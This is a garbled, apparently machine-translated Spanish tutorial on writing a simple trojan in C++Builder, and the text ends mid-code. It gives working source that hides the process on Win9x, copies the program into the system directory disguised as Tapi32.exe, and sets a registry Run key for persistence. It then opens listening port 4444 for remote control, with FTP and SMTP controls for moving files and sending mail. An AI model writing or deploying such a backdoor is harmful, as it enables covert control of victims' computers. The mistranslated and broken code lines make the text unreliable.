Red de conocimiento informático - Conocimientos de programación - ¿Cómo escribir un troyano sencillo?

¿Cómo escribir un troyano sencillo?

Todo el mundo debería estar familiarizado con el término caballo de Troya. Desde que el grupo de hackers "Dead Cow Cult" anunció Back Orifice en 1998, los caballos de Troya han sido como truenos en el suelo, haciendo que las personas que crecieron en Dos. -Los internautas chinos de la era Windows despertaron del colorido sueño de Internet y finalmente se dieron cuenta de que Internet también tiene su lado malvado. Durante un tiempo, la gente entró en pánico.

Vi un artículo en "Computer News" en ese momento. La idea principal era que un novato estaba controlado por alguien que usaba BO. Estaba tan asustado que no podía comer, dormir ni acceder a la computadora. Internet todo el día ¡Ayuda! Ya sabes, la historia de Trojan es muy larga: cuando AT&T Unix y BSD Unix eran muy populares, Trojan fue creado por algunos jóvenes (principalmente estadounidenses mayores) que eran muy buenos ejecutando programas (principalmente C). escrito en lenguaje C o Shell y se utiliza básicamente para robar la contraseña para iniciar sesión en el host con el fin de obtener mayores privilegios. En ese momento, el método principal de los troyanos era el engaño: primero modificaba su archivo .profile e implantaba el troyano. Cuando iniciaba sesión, los caracteres de la contraseña que ingresaba se almacenaban en un archivo y se enviaban al buzón del atacante en forma de correo electrónico. La mayoría de los jóvenes en China crecieron bajo la influencia de DoS pirateados y no están muy familiarizados con Internet. Hasta que salió Win9x, especialmente la popularidad de WinNt, que promovió en gran medida el desarrollo de la industria de las redes, BO parecía un poco simple e incluso un troyano tosco desde la perspectiva de tres años después (incluso en el "programa de apagado" de Win9x El proceso Se puede ver en el cuadro de diálogo) que conmocionó enormemente al pueblo chino en ese momento. Se puede decir que es un software que hace época en términos de seguridad de la red de China.

Escribir tu propio troyano suena genial, ¿verdad? ! Los troyanos deben constar de dos partes: el programa servidor (Servidor) y el programa cliente (Cliente). El servidor es responsable de abrir el camino para el ataque, al igual que un espía es responsable de atacar al objetivo, y ambos requieren cierta red; Protocolos a realizar. Comunicación (normalmente protocolo TCP/IP). Para que todos comprendan mejor la tecnología de ataque de los troyanos y eliminen el misterio de los troyanos, hablaré brevemente sobre la tecnología de escritura de troyanos y, por cierto, escribiré un troyano de ejemplo, para que todos puedan prevenir y eliminar mejor varios troyanos conocidos y desconocidos. .

La primera es la elección de las herramientas de programación. Las herramientas de desarrollo más populares actualmente incluyen C Builder, VC, VB y Delphi. Aquí elegimos C Builder (en lo sucesivo, BCB); aunque VC es bueno, el diseño de la GUI es demasiado complicado. Para resaltar mejor mi ejemplo, me centraré. En cuanto a los troyanos, elegimos visual BCB, pero la desventaja es que no puede heredar los recursos existentes (como el código fuente BO2000 publicado por el grupo de hackers "Dead Cow Cult", que está escrito). por VC y se puede encontrar en todas partes en Internet); VB, ni siquiera hablemos de eso: ¿también le pasa una biblioteca de enlaces dinámicos de más de 1 megabyte a la víctima, Msvbvm60.dll?

Inicie C Builder 5.0 Enterprise Edition, cree un nuevo proyecto y agregue tres controles VCL: uno es Server Socket en la página de Internet y los otros dos son NMFTP y NMSMTP en la página Fastnet. La función de Server Socket es convertir este programa en un programa de servidor que pueda servir a terceros (abriendo la puerta a los atacantes). Socket apareció por primera vez en Unix y luego Microsoft lo introdujo en Windows (incluidos Win98 y WinNt). Los dos últimos controles se utilizan para permitir que el programa tenga FTP (Protocolo de transferencia de archivos) y SMTP (Protocolo simple de transferencia de correo); ), todos saben de un vistazo que es un control que permite al software cargar y descargar funciones y enviar correos electrónicos.

El formulario es visual, lo cual es, por supuesto, increíble.

No sólo ocupa mucho espacio (un solo formulario pesa 300K), sino que también hace que el software sea visible y no tiene ningún efecto. Por lo tanto, cuando se escribe un troyano, se pueden utilizar algunas técnicas para evitar que el programa contenga formularios, al igual que los pequeños programas implementados por Delphi mediante procedimientos, que generalmente sólo tienen unos 17 KB.

Primero debemos hacer nuestro programa invisible. Haga doble clic en el formulario y primero agregue código en el evento FormCreate que permite que el troyano se oculte en el cuadro de diálogo "Cerrar programa" de Win9x. Esto parece muy misterioso, de hecho, para decirlo sin rodeos, es solo un proceso en segundo plano llamado Servicio. Puede ejecutarse con una prioridad más alta y se puede decir que es uno de los controladores de dispositivo que está muy cerca del núcleo del sistema. . Por lo tanto, solo necesitamos registrar nuestro programa como un proceso de servicio (Proceso de Servicio) en la base de datos de procesos usando la función RegisterServiceProcess(). Sin embargo, la declaración de esta función no está en el archivo de encabezado preempaquetado de Borland, por lo que tenemos que declarar nosotros mismos la función bird ubicada en KERNEL32.DLL.

Primero determine si el sistema operativo de la máquina de destino es Win9x o WinNt:

{

DWORD dwVersion = GetVersion();

/ / Obtener el número de versión del sistema operativo

if (dwVersion gt; = 0x80000000)

// El sistema operativo es Win9x, no WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS) (DWORD, DWORD);

//Definir el prototipo de la función RegisterServiceProcess()

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess ;

hDLL = LoadLibrary("KERNEL32");

//Carga la biblioteca de enlaces dinámicos KERNEL32.DLL donde se encuentra la función RegisterServiceProcess()

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS )GetProcAddress(hDLL, "RegisterServiceProcess");

//Obtiene la dirección de la función RegisterServiceProcess()

lpRegisterServiceProcess(GetCurrentProcessId(), 1);

//Ejecuta la función RegisterServiceProcess() para ocultar este proceso

FreeLibrary (hDLL);

//Desinstala la biblioteca de enlaces dinámicos

}

}

De esta manera finalmente puedo volverme invisible (¡lo que me hizo escribir tanto código!). ¿Por qué deberíamos juzgar el sistema operativo? Debido a que el administrador de procesos en WinNt puede tener una descripción general del proceso actual, no es necesario usar el código anterior en WinNt (pero puede usar otros métodos, que se discutirán más adelante).

Luego cópiese al directorio Sistema, por ejemplo: C:\Windows\System, y modifique el registro para que se pueda cargar automáticamente al inicio:

{

char TempPath[MAX_PATH];

//Definir una variable

GetSystemDirectory (TempPath, MAX_PATH);

//TempPath es el directorio del sistema buffer La dirección del área, MAX_PATH es el tamaño del buffer y se obtiene la ruta del directorio del sistema de la máquina de destino

SystemPath=AnsiString (TempPath);

//Format la cadena TempPath para convertirlo en estilos que puede utilizar el compilador

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath "\\Tapi32.exe").c_str(), FALSE) ;

//Cópiese en el directorio del sistema y cámbiele el nombre a Tapi32.exe para disfrazarlo

Registry=new TRegistry;

//Defina un TRegistry object y prepárese para modificar el registro, este paso es esencial

Registry-gt;RootKey=HKEY_LOCAL_MACHINE;

//Establezca la clave principal en HKEY_LOCAL_MACHINE

Registry -gt;OpenKey ("Software\ \Microsoft\\Windows\\

CurrentVersion\\Run", TRUE);

//Abra el valor clave Software\\Microsoft\\ Windows\\CurrentVersion\\Ejecutar, si no existe, créelo

intente

{

//Si ocurre una excepción en la siguiente declaración , salte a catch para evitar que el programa se bloquee

if (Registry-gt; ReadString ("crossbow")!=SystemPath "\\Tapi32.exe")

Registry-gt; ("crossbow", SystemPath "\\Tapi32.exe") );

//Comprueba si hay un valor clave con la palabra "crossbow" y si es el directorio copiado System Tapi32.exe

//Si no, escribe el valor clave y el contenido anteriores

}

catch(...)

{

//Si hay un error, no hacer nada

p>

}

}

Bien, el proceso FormCreate está completo, por lo que Tapi32 .exe se puede cargar automáticamente cada vez que se inicia y puede verlo en el cuadro de diálogo "Cerrar programa". El proceso finaliza y el prototipo del caballo de Troya comienza a aparecer.

Luego seleccione el control ServerSocket y cambie Activo a verdadero en el Inspector de objetos de la izquierda, de modo que el puerto específico se abra tan pronto como se inicie el programa y el servidor esté en estado de funcionamiento. Luego complete el Puerto con 4444, que es el número de puerto del troyano. Por supuesto, también puede usar algo más.

Pero debe tener cuidado de no usar puertos de gama baja por debajo de 1024, porque esto no solo puede entrar en conflicto con los puertos utilizados por los protocolos de red básicos, sino que también puede detectarse fácilmente, así que intente usar puertos de gama alta por encima de 1024 (pero hay Además, dicha tecnología utiliza intencionalmente un puerto específico porque Windows no se quejará si causa un conflicto ^_^). Puede echar un vistazo al puerto utilizado por el control TNMFTP. Es el puerto 21, que es un puerto de control dedicado para el protocolo FTP (FTP Control Port). De manera similar, el puerto 25 de TNMSMTP también es un puerto dedicado para el protocolo SMTP. .

Seleccione el control ServerSocket nuevamente, haga clic en la página Eventos, haga doble clic en el evento OnClientRead e ingrese el siguiente código:

{

ARCHIVO *fp= NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH]

//Define un montón de cosas que se usará más adelante Variable

sprintf(TempFile, "s2